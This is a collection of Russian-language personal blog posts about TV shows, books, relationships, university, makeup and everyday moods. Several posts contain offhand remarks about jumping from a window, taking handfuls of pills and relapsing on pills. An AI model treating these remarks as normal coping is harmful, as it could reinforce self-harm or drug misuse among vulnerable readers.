Всем до боли известное чувство на вьюи (да и не только) - это невыносимая грусть и тоска после прочтения какой-то шикарной книги, или после просмотра сериала/фильма. У меня так давно этого не случалось, жила себе спокойно, занималась своими делами, а тут, как вы поняли, наткнулась на Лост, и подумала «А почему нет, собственно говоря? Сериал закончился 6 лет назад, уж когда он начался вообще промолчу, но о нем до сих пор помнят и очень многие любят». На протяжении 6 сезонов я радовалась, грустила, смеялась, нервничала, в общем, весь спектр эмоций, только вот не плакала, никогда, ни над чьей смертью. И надо же на последней серии выплакать все, что накопилось. И это были не только слезы грусти, но и слезы радости, ведь столько улыбок, поцелуев, объятий, как в в последние 10 минут сериала не было прежде. А потом, на следующий день вспомнила о концовке - и опять расплакалась. И в институт я пришла с красными опухшими глазами, потому что помимо слез лежала до 3х ночи и все думала, думала, думала. Думала о том, что нужно ценить жизнь сейчас, говорить близким все то, что чувствуешь к ним, размышляла о всех несправедливостях жизни, жестокостях, и однако же, несмотря на это, как жизнь прекрасна, до невозможности. Как сказал Ричард Алперт «Я хочу жить». Да, я хочу жить.

Как же меня за день зае*ало метро, все эти озлобленные люди. Чувствую себя хуже выжатого лимона. Ощущение, словно всю мою энергию поглотило метро вместе с людьми.

Ненавижу метро. Концентрация плохой энергии.

до чего же охрененно спорить с какой-нибудь невменяемой клиенткой, когда она уже стоит и орёт на тебя, краснея и пытаясь что-то доказать с точки зрения её пергидрольного мира, и в итоге отстоять свою правоту. если бы не стоящие рядом в этот момент клиенты, я бы прямо на стуле станцевала этот чёртов победный танец. пусть она и вынесла мне весь мозг, но я прям получила удовольствие от результата.

И в один день солнце выйдёт. И в начале ты его не заметишь, оно будет бледным. А потом ты словишь себя на мысли о чём-то или о ком-то, кто не связан с прошлым. Кем-то кто будет только твоим. И ты поймёшь, что здесь твоя жизнь.

История Эллис Лэйси, которая неохотно покидает свою родную ирландскую деревню и отправляется на поиски работы в Америку. В итоге она поселяется в Бруклине, постепенно излечивается от ностальгии и начинает наслаждаться воздухом свободы. Ко всему прочему Эллис влюбляется, но трагические новости с родины заставляют ее вернуться в Ирландию, где она встречает другого мужчину и в результате вынуждена делать нелегкий выбор.

Когда уже не осталось сомнений, что Прабакер умрет, и мы осознали этот факт, мы четыре дня и четыре ночи наблюдали за тем, как страдает его цеплявшееся за жизнь тело-то, что осталось от него, почти-Прабакер с ампутированной улыбкой. В конце концов, глядя четыре дня и четыре ночи, как он мучится от боли, и не понимая, за что он так наказан, я начал желать всем сердцем, чтобы он умер скорее.Я так любил его, что нашел какой-то чулан со швабрами и, опустившись на колени рядом с бетонным желобом, в который равномерно капала вода из крана, я стал умолять Бога, чтобы Он позволил Прабакеру умереть.И он умер.

На пороге хижины, где Прабакер поселился с Парвати, сидела его мать Ракхмабай, обернувшись к миру спиной и распустив свои длинные волосы.Они спускались до пола черным ночным водопадом. Она взяла ножницы и обрезала волосы у самого затылка. Они упали на землю, как умирающая тень.

Когда мы по-настоящему любим кого-нибудь, то сначала больше всего боимся, что он разлюбит нас. Но на самом деле нам надо бояться, что мы разлюбим его, когда он умрет и оставит нас. Я по прежнему люблю тебя, Прабакер, люблю всем сердцем.Я не могу подарить тебе мою любовь, но иногда она мешает мне дышать. До сих пор мое сердце погружается иногда в печаль, в которой без тебя нет ни звезд, ни смеха, ни покоя.

Оказывается, бабушка Китти передала мне яблочки никак угощение, а как "собойку", ибо узнала про мои 6 часов торчания в ветклинике. Так много заботы.. Неужели я этого всего достойна?

Теперь мы с подругой вместе пытаемся готовиться к экзаменам.Я очень часто и очень сильно отвлекаюсь от подготовки когда занимаюсь одна, то компьютер, то планшет или вдруг поесть захотелось. А когда в довем вроде как и учебка клеится :D

Привет, я что-то долго уже не писала. А давно хочу.Как только сажусь вылить сюда мысли, так они растекаются как вода, ничего не понятно, ни мне, ни вам.

Меня все дико бесит. Все.Абсолютно. Моя жизнь, мои отношения, мои родственники.

Жизнь - тут понятно.Я ее провожу не так как хотелось бы. Но я не одна такая думаю.Живем по средствам, ладно уж.

Отношения. Это вообще бред. В моей голове живет столько тараканов, что там уже наверное отдельная цивилизация открылась. Ну серьезно. В одни дни я безумно люблю Сережу, хочу прожить с ним всю свою жизнь, нарожать кучу детей, варить ему борщи, встречать с работы, стирать, убирать и все в этом роде. В другие же дни я становлюсь какой-то феминисткой, бешусь по любому поводу на счет уборки, жутко психую. Мне не хочется ничего, не хочу с ним разговаривать, в мыслях все перемешивается и начинаю думать о том, что возможно он не мой человек, что нам надо расставаться пока не поздно. Ну не дура ?Накручиваю себе такооооооое в голове, что просто стыдно самой становится. В такие минуты я готова бросить все, ехать куда-то жить самой от всех.И знаете, что страшно - эти мысли чаще стали появляться в моей голове. Ну чтобы все бросать и бежать куда-то. Привет, я очень странная.Надеюсь, такие страшные мысли у меня в голове не надолго. Все пройдет.

В воскресение поеду за диплом договариваться. Да, у меня опять новый дипломник. Уже 4. Прям как нехорошая женщина пошла по рукам) В переносном смысле>_<

Всю неделю была в Сережи, перед этим он приезжал ко мне, вроде как нормально все было. Но не знаю.

Райан Рейнолдс забрал себе костюм Дэдпула после окончания съемок.

" Я ждал съемок этого фильма 11 лет, поэтому забрал этот костюм. В последний день съемок я выходил со съемочной площадки в костюме и костюмер спросил:
- А костюм не хочешь снять?
А я ответил:
- А ты попробуй заставить.
И я просто ушел. Ушел, забрав костюм себе."

И если уже октябрь,
В моей голове - весна ,
Где были с тобою рядом,
И нам было не до сна.

И если уже октябрь,
В моей голове всё ты ,
Ты пьяный, но ты повсеместно рядом,
Отгоняешь страшные сны.

И если уже октябрь,
И если тебя рядом нет,
В моей голове ты рядом ,
Перед сном выключаешь свет.

• делюсь с вами моим небольшим творчеством

Мне всегда не везет. У меня ничего не получается, до чего бы я ни дотронулась.
Может быть я лучшего не заслуживаю?
Кому то суждено жить весело,
а мне суждено быть каждый день обманутой. Да, обманутой!
Я всегда верила в то, что мне обещали,
но никогда ничего не получалось.
Быть кому-нибудь нужной. Быть счастливой.
Или даже быть по-настоящему несчастной,
потому что, когда человек что-нибудь теряет,
он должен быть несчастным, а у меня даже этого не было,
потому что со мной всегда так.
Все начинается плохо, и кончается еще хуже.
Мне всегда не везет.
Я как липучка-мухоловка – все неприятности
ко мне прилипают.
Я из породы людей-пылесосов.
Они нужны, чтобы другим было легче дышать.

Я устала загоняться каждый день. Пытаться что-то найти, что-то увидеть. Все никак не могу отпустить эту ситуацию, хоть и прошло уже столько времени. И каждый раз, когда я нахожу какие-то новые фактики, все становится только хуже. жаль у нее твиттер закрытый

Внутри ужасно неприятное чувство, которое не то, что не проходит, а временами все только ухудшается, а еще и эти недавние "истории" тоже сделали свое дело. Иногда я думаю я бы вышла в окно, но я живу на 1 этаже.

вот ходишь куда-то, отвлекаешься и думаешь "да все хорошо "
а приходишь домой и просто умираешь. даже родители заметили что что-то не так
иду я опять куда-то, а то не могу уже.

можешь выучить жизни правила, но нельзя забывать о том, что, хоть плачь ты над их ушибами и хоть лей ты на них елей,
эти девочки безошибочно выбирают плохих парней.

Было сегодня такое, что заставило меня разрыдаться прямо в подъезде, на лестничной клетке, кое-как повернуть ключ в дверной скважине и медленно сползти по стенке, естественно, прямо в одежде. Оно же заставило зарегистрироваться на флампе и впервые оставить там отзыв. Оно же — вызвать в моей голове нить аргументов против моей мягкотелости.

Жаль, что нет аналога флампа о людях — было бы куда проще. Может быть, люди даже были бы чуточку добрее. А то мне с моей добротой, простотой и широким серцем, открытым буквально для каждой букашки, только и остаётся, что каждый день сползать по стенкам. К двадцати, вроде как, можно было уже избавиться от этой наивности — очерстветь, одеться в панцирь. Но для Воина это было бы слишком просто.

Все эти люди, может быть, вовсе и не хотели тебя обижать. Но быть сильным — значит быть невыносимым. После летнего трипа, где больше месяца кормила дорога, я вернулась домой и возбуждённо проповедовала маме идею всеобщей доброты. Я искренне верила в доброту незнакомых к незнакомым, хотя многие и не понимали: зачем кто-то будет пускать к себе переночевать незнакомого человека, если есть гостиницы? зачем кто-то будет бесплатно возить в своей машине совершенно чужих людей, если есть электрички? зачем кто-то будет тратить время на то, чтобы показать город, если есть экскурсоводы?

Они не верят, а я верю — через все эти слёзы, через сползания по стенке, через разбитые костяшки. Мне хочется быть открытой и чувствовать всех этих незнакомцев, мне хочется помогать. Помогать совершенно искренне, бескорыстно — в Бога я не верю и взамен ничего не жду. Этих людей я, наверное, больше никогда и не увижу. Но они смогут увидеть меня, однажды закрыв глаза и едва заметно улыбнувшись. Потому что они такие же, и мы — одно.

суббота. раннее утро, я собираюсь на работу (хотя должна была уже кататься в Байкальске, но решила, раз не поехала, не буду терять часы). и тут пишет ОН.. доброе утро, интересуется моими делами и зовёт катать! а я такая работаю.. ну всё пучком и мы договорились поехать в обед.. жду его после работы.. листаю соц сети, я же до сих пор везде в чёрных списках.. хахаха. и вот смотрю, у него на странице нет фоток с ней, ни сохранённых, ни аватарка, в инстаграме пропали фотографии.. вот это да, подумала я. села к нему в машину, а там такой сладкий зайка, беленький. он рядом, сердце колотится и внутри разливается тепло.. заехали ко мне, я собрала шмотки в темпе, он поднялся, боялся, что дома родители.. и мы поехали по супермаркетам в поисках алкоголя. он ко мне прижимался, обнимал меня. целовал. я думала, эээй, мы же типо друзья, френдзона и т.п. но не могла же я отказываться от таких нежностей.. и вот мы наконец-то выехали из города. было очень легко. и вдруг он предложил поснимать, селфи и др. я удивилась, ведь до этого, при каждой попытке сделать фото - он бесился.. а тут сам предложил! а ещё, дал повести свою тачку от Култука! доверил мне то, что никому никогда не давал! ох, как он переживал! я так хихикала, от того, как он нервничает! С: но мне было дико приятно, что он дал повести. и вот мы доехали, заселились, начали пить.. его не унесло, а вот меня нормально так вставило.. было так много долгих сладких поцелуев, и когда дело подошло к этому, меня начало тормозить всё, я ему говорю, нельзя так, ведь мы типо друзья, а друзья этим не занимаются, ну он, нет, чтобы сказать всё как есть, он просто предложил ничего не делать, засранец! мне не хотелось ни себя, ни его обломать, и под его давлением, мы сделали это и я расплакалась. эмоции нахлынули в самый не подходящий момент. знаете, когда плачут во время оргазма? вот это был тот самый момент.. мне стало как-то не по себе. я не плакса. а тут понеслось, он, наверное, в шоке был.. да и я долго успокоиться не могла. "тише, я не хочу, чтобы ты плакала, успокойся.. поговори со мной, что случилось? Ань?.." это было странно. ночь была адской, и смешно и душераздирающие моменты..
утро.. сборы на гору. сколько терпения в моём принце.. перекручивал крепы, постоянно затягивал их мне. был рядом, ждал, смелся, поддерживал, переживал и заботился. мне было чудесно. я очень волновалась, переживала, когда видела, как он в парке прыгает, или как падает. сердце сжималось, особенно, когда он сказал, что в ключицу что-то хрустнуло. это было дико. хорошо, что всё обошлось. снова фотались, ещё видосики он снимал. дорога домой, ужин, приколюхи.. мне надоели эти шутки "братан, бро, братишка". прям сильно стали раздражать. или, когда он прощается, говорит "прощай". это больно. ведь, когда он ушёл в первый раз, он написал мне "прощай" и это было ужасно.
снова чудесная ночь. он не выпускает из своих объятий. я это очень люблю. когда всю ночь меня обнимают. утром я ушла в душ и когда уже выключила воду, слышу, как он говорит по телефону злым голосом, как когда мы с ним были в клинике, у меня на работе.. "..да, всё исчезло, да, всё, мне это надоело, я тебе не верю, у тебя не доказательств, хватит, я устал.." обрывками слышала диалог его с ней. он её бросил.. неужели.. я, как ни в чём не бывало выхожу из ванной, мы собираемся на гору. катаемся и весь день мне названивал незнакомый номер, что меня это стало напрягать и тут В. говорит мне, что это может быть его бывшая Маринка.. охренеть! я спрашиваю, с чего это вдруг? и он сказал, что бросил её. что не даст меня в обиду. ах, да. ещё он ей сказал, что спал со мной, когда они ещё были вместе. это же катастрофа!.. я была рада, что он наконец-то принял такое решение. в конце концов, это рано или поздно - должно было произойти.. расстояние, измены дают о себе знать.
замечательно покатались, второй день было легче, ещё и горного котейку нашли: 3
дорога домой, я закинула на него свои ножки. он говорил с мамой по телефону.. сказал "с Аней..". мы обсуждали разные темы. смеялась я до боли в животике. и с каждым метром, приближаясь к лому, мне казалось, вот и сказочке конец.. я попросила его подняться со мной, а он боялся с родителями пересечься. похоже, у многих парней такой порог есть..
поцеловал, уехал. я писала ему, фотки сбрасывала.. сладких снов.. и вот сегодня, с трудом встала.. общение всё так же продолжается по моей инициативе. сегодня он был странным. да, расстроился из-за машины, но я ведь как только можно старалась его отвлечь, подбодрить.. мне не хотелось, чтобы он грустил. а он держал строгую дистанцию. а меня к нему магнитом тянет! разошлись так странно.. вроде бы и поцеловал, сказал "пока".. но.. что-то мне страшно потерять его. я тупо боюсь, что ему не нужны отношения.. т.к. его сильно обидели. мой принц. зайка.. я буду с тобой. я этого хочу, а значит так будет.

Учась в ВУЗе хочешь-не хочешь, а приходится мириться с достоинствами и недостатками балльно-рейтинговой системы оценивания. Если преподаватель адекватен, то и жить можно, но с дамой, что ведет у нас экономику образования совсем все худо. Пытаемся всей группой понять, что от нас она хочет и все в пустую. Сравнили то, как она оценивает наши работы с тем, как это делал историк. Ужаснулись и приуныли одновременно. Доклады: историк ставил - 10 баллов, по экономике мало того, что максимум - 4 балла, так она еще плохой (по её представлениям) и хороший (с её же слов) оценивает одинаково - на 2 балла. Дальше веселее. Контрольная точка: историк - 10 баллов, по экономике - 3 балла. За ответ на семинаре: за нормальный ответ историк не скупился на 10 баллов, по экономике - 1 балл и не больше. Но самая жесть то, как эта придурошеная оценила схемы!!! Поставила людям по 0,3/0,7 балла. ТРИ ДЕСЯТЫХ БАЛЛА, КАРЛ! И это при том, что некоторые за такие же по содержанию работы (лишь стрелки иначе нарисовали, Блять) она поставила 4-5 баллов. Л - логика. Не знаю, как вас, но меня еще так не унижали. Непонятно, как набирать необходимое кол-во баллов на зачет с таким отношением?

Тяжело скрывать проблемы и недочеты, когда они просто витают вокруг меня и вырываются наружу, как бы я не пряталсь. Сложно изображать тех, кем мы не являемся. Не думала, что я буду из таких. Нужно просто пережить этот период. Но как-то он затянулся.

А вот мои сегодняшние результаты на основе новых приобретенных знаний о технике работы с нависшим веком. А всегда смотрела на картинки и только мечтать могла о таком макияже - ну как блин они это делают ? Визажисты и бьюти-блогеры хитренькие, делятся, да не всем. Хотя и нависшее веко далеко не у всех…Макияж делала с палеткой naked basics, которую я до этого просто терпеть не могла. Выходит, когда знаешь куда и что, любой материал поддается.

P.s. еще одно видео нашла с подробным описанием работы с нависающим веком.

мои глаза снова опухли, я сплю днем или не сплю вообще.
две ложки крепкого кофе и горсть таблеток - вот мой завтрак.
золотой мальбро и тот же кофе - мой ужин. а на обед - страдания.
в 15:00 начинаю вспарывать собственную душу, копаться в ней руками, находить самый ядовитые, темные места и обжигаться заново. в моей голове пожар.
мои руки такие же черные, как внутренности. только никто не видит. никто. я смеюсь им лицо, они не видят моей сущности и мне так смешно, мне с-м-е-ш-н-о.

Не знаю почему по нормальному не делается реблог с телефона. Ну вообщем! Блин, да!! Тысячу раз да, да и да! Примерно год назад, пока ездила на работу, каааждое утро на остановке стояла парочка и сосалась, буквально проглатывая друг друга, звука я не слышала, т.к к своему счастью у меня наушники. Как же мерзко они выглядели. И вот просто каждый день, без выходных и перерывов на обед. Жара, дождь, снег, мороз -30! И однажды, 14 февраля.. Он пришел один! И потом еще какое то время был один. Я ликовала внутри, надеясь что они расстались АХАХ но увы (недавно их видела снова. Уже не сосуться! Дикая страсть видимо прошла, теперь просто ходят рядом как соседи, даже не за ручку. И я снова похихикиваю :)

Иногда достаточно всего одного тёплого слова от любимого человека, что бы потом весь день ходить с улыбкой на лице.

Не хочу писать огромный пост, оформлять его и т.д, поэтому напишу немного и по делу. Ребят, я теперь официально волонтер Красного Креста. Для меня это очень важно, поэтому делюсь этим с вами с: Теперь буду участвовать в социальной помощи детям, пожилым, а так же помощь людям со СПИД И ВИЧ. Я рада, что смогу помогать, безгранично рада.

Ходила сегодня сдавать последние учебники и попала на перерыв в библиотеке. Со мной стояли какая-то девочка, влюблённая парочка и их подруга. Ну так вот у этой парочки просто нереальная, видимо, любовь. Всё это время, что мы ждали, когда откроется библиотека, они так страстно целовались, очень громко причмокивая, и лишь изредка обращая внимания на свою подругу.
Во-первых, блять, я НЕНАВИЖУ чавканье, чмоканье и прочие такие звуки, поэтому они стали дико меня бесить. А во-вторых, понаблюдала за ними некоторое время, и это просто пиздец. Какое вообще у этой парочки воспитание? Да никакого. Как можно постоянно сосаться при подруге. Ладно, они бы были одни, да целуйтесь сколько влезет. Но когда рядом с вами стоит человек, ваш друг\знакомый, то это просто неуважительно. Просто реально какое-то неуважение. Представляю, как этой девочке было неловко и неприятно. Они ещё в порыве страсти облокотились на стол, что этой девочке пришлось отойти в сторону, ибо все они не помещались. Я, конечно, всё понимаю, любовь невероятная, что аж пиздец, и отлипнуть друг от друга очень трудно. Но, алё, 15 минут потерпеть нельзя?! Я бы никогда себе не позволила вот так стоять и постоянно целоваться со своим парнем, когда рядом с нами кто-то ещё из наших знакомых. Как же это некрасиво. Я до сих пор под впечатлением и меня до сих пор бесит эта парочка.

Не сразу можно понять, чем так цепляет новая серия работ 30-летнего канадского фотографа Фреда Мурама «Целуя потолок».

Неожиданностью и простотой?Красотой взаимодействия человека с пространством? Вопросом «почему?» Или чем-то другим? Сам о своем творчестве он пишет так: «В своих работах я ориентируюсь на таких художников как Джон Болдессари, Эд Руш, Крис Берден и других, которые используют юмор, противостояние и нелепость в своих работах. С помощью фотографии, видео, и звука, я раскрываю такие проблемы как сексуальность, потребление, средства массовой информации и т. д. Меня интересует не только взаимодействие людей друг с другом, я пробую понять подлинную сущность других существ».

Профессиональный фоограф Профессиональный фоограф Профессиональный фоограф Профессиональный фоограф



Каждый раз, когда я хочу начать писать о чем-нибудь здесь, постоянно смотрю в окно и хочу написать сначало о погоде, пожалуй с этого и начну.

За окном пронизывающий ветер и мокрый снег, хотя еще вчера светило солнце и я сидела в ожидании весны.

Ну в принципе можно и закончить)

Вчера, когда ехала с учёбы, в автобусе встретила любовь всей моей жизни (хаха, на самом деле нет, это просто я безответно страдала по нему последние три года до выпуска), с которым мы учились в школе. Аж до сих пор вспоминаю его теплую улыбку при прощании со мной, когда он выходил на остановке. Почему-то захотелось поделиться этим.
А каникулы прошли довольно уныло, зато я выспалась, досмотрела пару сериалов и дочитала Академию Вампиров. Ну и еще сходила на встречу выпускников в школу. Это, наверно, было самым хорошим событием за двухнедельный отдых.

ужасное чувство, когда он приезжает отдать тебе вещи, а ты видишь у него фиксатор шеи… теперь не сможет из-за травмы доучиться

ужасно осознавать, что вы разошлись, хоть в большей степени по его вине, и у него пошли неудачи… так тяжело было смотреть.. человек, с которым общаюсь около 5 лет, мой первый лучший друг… который когда-то хотел просто в армию, а теперь не может доучиться.

единственное радует, что он опять вернулся в музыку и сам уже подумывал о полной отдаче ей..

хоть бы с ним все было хорошо

как понять когда пора к терапевту: когда накапливается достаточное количество метафор для описания собственного состояния на данный момент

Каждый день новые открытия! день он сам как открытие. Новые люди и места. Глоток чая, запах сирени, пушистый снег - все это уносит куда-то, где было хорошо и весело, либо грустно и тоскливо, уносит меня к прошлой жизни. о я теперь не цепляюсь за это. Теперь это просто есть, точнее было.

А ведь впереди целая жизнь полная открытий, новых свершений, потрясений и переживаний. Мой путь начинается здесь и идет далеко вперед. И каждый человек, который мне встречается дан мне для того, чтобы я что-то осознала для себя. Даже случайные встречи и знакомства, особенно случаные встречи и знакомства!

Так много хочется написать и так мало времени на это.

Продолжение следует…

Написала пост, а он пропал и это уже второй за день. Ну суть - благодаря подруге и еще кое кому хапнула две флу. Приход не заставил себя ждать. Хотя кому я что втираю, не они меня заставили его выпить. Мне просто надо было справиться с истерикой. Я так радовалась что слезла с них….. Самое обидное, что подруга то знает что меня на таблетки надо только слегка подтолкнуть. Что она и сделала… Надеюсь завтра сдержусь

если он позвонит, я непременно возьму, и не важно, в 4 утра, или в час ночи. если он позовет, то я непременно приду, и совершенно неважно, чего он хочет. и не суть, сколько не виделись, месяц, иль может год, даже если он на меня обиделся, я приду если он позовет. встану из уютной постели, хоть завтра вставать с утра, и полно проблем, даже если нет сил и времени, не осталась ни общих тем, и разговоры на кухне забыты давно. я приду, если он позовет, даже если сижу в кино с каким-то унылым мачо, убирая ладонь с колен. я приду, когда он заплачет, я -личный его супермен, жилетка, как угодно можно назвать. я встану даже из гроба и лягу рядом с ним умирать.

Что это значит, когда парень с утра стоит у дверей ванной и просто смотрит, как ты расчесываешься, красишься или чистишь зубы?

Что это значит, когда он спонтанно берет тебя за руку в такси или когда играет во что-нибудь?

Что это значит, когда он не может пройти мимо, чтобы не пожекотать/хлопнуть по попе/потрепать волосы?

Что это значит, когда ты порой ведешь себя несносно, а он все равно хочет видеть тебя?

Что это значит, когда утром он не будит тебя, а укрывает одеялком?

Что это значит, когда он начинает строить планы на тебя и на будущее?

Что это значит, когда он собирается знакомиться с родителями?

Что это значит, когда он делает что-то довольно важное впервые с тобой?

Что это значит, когда он смотрит на тебя с радостью и заботой почти всегда?

Что все это значит???

_________________________________________

Будьте осторожны с советами. И осотрожнее слушайте. Потому что по-моему я только что чуть не повелась. Я знаю, как парни умеют просто играть. Со мной это было всегда. И вы ведь не знаете всего, а люи, которые знают все, пытаются мне втемяшить в голову, что все нормально и что он со мной не играет, просто тормозит по многим причинам и они не во мне. И единственный вариант - как сказала Аня - реально ждать. Потому что

Я слишком много накручиваю, это все знают.

Пожалуй, я больше не буду спрашивать здесь совета. Совет от людей, которые не знаютситуаци может быть очень убедительным, но зачастую - плохим.

Сегодня весь день думала о тебе, хочу оставить эти свои мысли, но мне так тебя не хватает… Мне понадобиться куча времени, чтобы тебя забыть.

—Ну это же она меня бросила.

—Так ты создал такие условия, чтобы она это сделала.

—…

Только что закончила смотреть «Паранормальное явление 5: Призраки», не пойму, правда о каких призраках идёт речь, причём это не очередной сомнительный перевод оригинального названия от российских прокатчиков. Хотя The Ghost Dimension ещё непонятнее.

По классике всё начинается с бытовухи, в серединке нас пугают случайные скримеры, а в конце происходит максимально напряжённая хрень.

В этом фильме герои находят какую-то особенную камеру, которая видит того самого демона Тоби, но на деле он выглядит не как злая сущность, а скорее как футажи для Sony Vegas. Видимо, именно на их покупку и потратили бюджет в 10 млн. долларов. Картинка от этой камеры настолько херовая, что у меня возникло ощущение, будто мои глаза анально насиловали на протяжении полутора часов.

Было заявлено, что это финальный фильм, и вроде бы всё пришло к логичному завершению, но нет удовлетворения. Как-то слабовато на мой взгляд, нас готовили к какому-то грандиозному злу, показывали всякие замудрённые ритуалы и многолетние подготовки. А итоги ничего интересного. Полнейшее разочарование.

Не смотря на то, что этот фильм откровенно плох, я всё равно считаю серию «Паранормального явления» одной из лучших в своём жанре. Если смотреть целиком, то получается вполне неплохая история, с интересными переплетениями в сюжете, но жалко, конечно, что концовку скомкали и смазали.

У меня всё.

не верится, что ты снова со мной.

нет, я понимаю, что вот ты и ты снова мне звонишь, пишешь, мы гуляем, проводим время вместе. но так много времени прошло порознь, что просто не верится что ты снова со мной.

и не могу относться к тебе из-за такого долгого расстояния между нами как раньше. нет, не хочется относиться хуже или холоднее, или показывать какую то обиду. нет, напротив. хочется относится нежнее, заботливее, показывать свою любовь, а не прятать ее как раньше.

хочется быть счастливой с тобой и делать счастливым тебя.

хочется чтобы ты всегда был рядом. и не уходил больше так надолго.

Рабочий день подходит к концу. Солнце садится за горизонт, утихают вентиляционные звуки компьютерных процессоров. Нужно собираться домой…

Шум, общение, движение, разрывающийся стационарный телефон по левую сторону, наполняют мой день чем-то привычным, родным. Беглое клацание по клавиатуре, бумаги, монитор и посторонние звуки не дают мыслям надолго задерживаться в голове. Но вот примелькалась фраза: "Хочу домой." И в середине рабочего, насыщенного дня она как никогда актуальна и желанна для осуществления. Ты бы все променял на послеобеденный получасовой сон, лишь бы не кимарить в этом надоевшем и чересчур офисном кабинете. Полдня эта мысль гложит тебя и требует воплощения, отвлекают чаи с коллегами, бегание по кабинетам, просмотр каталогов…и вот, ты вроде оклимался, проснулся после двухчасового "гипноза". Подходит время к окончанию рабочей рутины и вдруг!….

"А что делать там? За пределами этого активного поля и массы людей? Что и кто ждет меня? Чем насытить очередной, предстоящий вечер? Как избавиться от поглощающей силы дивана и стен квартиры?"-вот что не дает покоя и вгоняет в неистовую депрессию уныния. Осознание "пустоты" вокруг тебя и внутри тебя сжирает не меньше желания послеобеденного сна. Невозможно справиться. Некуда уйти от молчания, от скукоты и грусти. Ты никому не нужен в это время, ты забываешься для мира вокруг.

Выходя из офиса, сутулясь, добираешься до дома, выпиваешь чай-все по сценарию. Двери захлопнулись. Началась тишина…

Личное одиночество навсегда останется с тобой.

Нужно собираться домой…

Многие мои близкие совсем не понимают, почему я так переживаю из-за того, что вес набрала. Я могу легко обьяснить:до сессии я занималась спортом, пыталась более менее хорошо питаться. Как итог:58 кг и тело, которое, в принципе, меня устраивало. Я набрала 3-4кг, т.е. я сейчас 61. И все бы ничего, но я дико загоняюсь из-за этого. Когда сказала бабушке и ее сестре, что поправилась, в ответ получила "не за то у тебя голова болит". За то. Абсолютно за то. Это у моих родных голова не за то болела, когда меня в начальной и средней школе из-за избыточного веса гнобили.

Неопределенность меня пугает и мучает. Вы скажете - поговори с ним, пусть уже определится, кто ты для него. Но вы бы смогли? Ведь если он скажет, что я никто, то я уйду, я не выдержу. Или лучше не бередить, все ведь хорошо идет, а я этими серьезными разговорами могу все испортить? Как быстро нужно начинать серьезный разговор? Или он сам его начнет. Или как-то подвести его к тому? Я не понимаю. Вы ведь читаете мои посты, знаете, как он ко мне относится. И говорите, что все отлично идет. Но я ведь совсем не понимаю в этом ничего. Я многое знаю о плохих отношениях, но знаю ли я что-то о хороших? Нет.

Я боюсь, что он скажет, что я ему безразлична. Но скажет ли? Ведь сплошь и рядом только плюсы, и лишь один минус - я не знаю, кто я для него. То есть да, он говорил, что я ему нравлюсь, что я ему дорога и что мы не просто друзья, что у нас идет РАЗВИТИЕ ОТНОШЕНИЙ и просил его не торопить, потому что он такой долгий и тяжело сходится с кем-либо для близких отношений. Да, я вижу, что с каждым днем или неделей мы становимся ближе. Но разве недостаточно, чтобы уже иметь нормальные отношения, чтобы я была его девушкой, а он моим парнем. Что вообще у него в голове? И нормально ли это - развитие отношений?

И фото я, кстати, вернула.

я очень часто употребляю глагол "скучаю". Порой кажется, что даже слишком часто. Скучаю по людям, по моментам, по гороодам. Сейчас я безумно скучаю по Харькову. Последняя поездка туда почему-то влюбила меня в этот город и я до боли хочу поехать туда снова. Шанс предоставится - 28 и 29го мы будем там на Мецуде. И я даже еду туда раньше на день с девочками из молодежки.Зачем? Хрен его знает. Мне хочется опять пройтись по улицам этого странного, немного сумасшедшего города с огромными улицами. Увидеть Юленьку, Севу, Соню, Алиску, которой надо не забыть привезти обратно её стакан. Ну и С. конечно. Правда, мне негде пока переночевать, спросить у С. разрешения остаться у него мне стрёмно, откровенно говоря. На хостел денег тоже жалко, к Юляшке напрашиваться стыдно. Скорее всего, С. я позвоню уже в будучи в Харькове, авось и пустит к себе. По нему я тоже скучаю. Очень-очень сильно. К сожалению, вероятнее всего что мои скучания невзаимны, но что я могу с этим сделать? Насильно заставлять скучать? Нет-нет-нет.

ещё я бы написала, что хочу проклинать тебя, но не могу, потому что как-то не проклинается. только начну придумывать язвительное, обидное, как в голову лезет какой-то момент, возведенный в степень счастья, а проклинать счастье по определению нельзя, по смыслу не получается. <…>

пожалуй, будь во мне больше лиричного, я бы рассказывала про тебя пьяным таксистам, подругам, подъездам, я б авансом полюбила всех людей с твоим именем, я б заведомо возненавидела всех, кто здоровается с тобой за руку.
или в губы.
кто уж на что горазд.

я бы непременно добавила к вышесказанному, что чувства бренчат, тяжелеют, что я устаю от них, ненавижу их, люблю их, не живу без них, а живу ли с ними - вопрос спорный. я бы сказала, что битое сердце - лучший подарок юности, будет чем похвастаться перед детьми, мол, смотрите, я настрадалась вдоволь.

и я бы закончила этот этюд тем, что мне ничего не жаль, потому что я об этом не думаю, думаю только о том, спишь ли ты сейчас, и если нет, то какого хрена. думаю, был ли у нас шанс, и если да, то какого хрена.

и посыл мой во всех этих строках был бы очевиден и свелся бы к трем самым громким, тяжелым и болезненным на свете словам.

но как же все-таки хорошо, что я не какая-то там влюбленная дура, христос упаси, и писать так про тебя никогда не стану.

— Самую важную часть своей жизни ты провёл с этими людьми. И поэтому вы все сейчас здесь. В одиночку такое не делается, Джек. Они все были тебе нужны, а ты был нужен им.
— Для чего?
— Чтобы вспомнить … и… отпустить.

Нависшее веко - что делать?

У меня никогда за всю жизнь не получалось красиво накладывать тени и вообще делать приличный макияж глаз. Год назад я начала копать глубже в этой теме и обнаружила у себя такое явление как "нависающее веко" (а еще опущенные внешние уголки и выпуклые глаза, что тоже легче мне задачу не делает). Как оказалось, все эти туториалы по базовому нанесению теней на youtube мне вообще не подходят и абсолютно не работают на моих глазах. Все бьютиблогеры там с красивыми идеальными плоскими веками. И буквально в воскресенье я набрела наконец-то на канал BeautyBenefitsTV, где девушка с точно такой же проблемой четко и понятно разъясняет что к чему и почему. Это для меня просто откровением стало - столько лет все делать неправильно! Лучшего материала на эту тему я пока не видела - ценная информация в свободном доступе. Советую посмотреть пару ее видео тем, кто страдает также как и я! А конкретно видео "Ошибки в макияже и их исправление" ч.1 и ч.2, и "Как скрыть нависание века".

Поговорили с мамой.. Я попросила помощи. Мама займётся поисками хорошего психолога.

Раньше мне всегда было жалко людей, которые не видят снов. А теперь я сама хочу отказаться от них, ибо в психушке оказаться не хочу.

Позвонил Артур, попросил, чтобы я набрала вета, спросила, как промыть катетер (не обычный). Я опаздывала к репету. Сказала это папеньке.. в итоге оба сорвались: он начал кричать, я- реветь. Мы оба устали от всего.

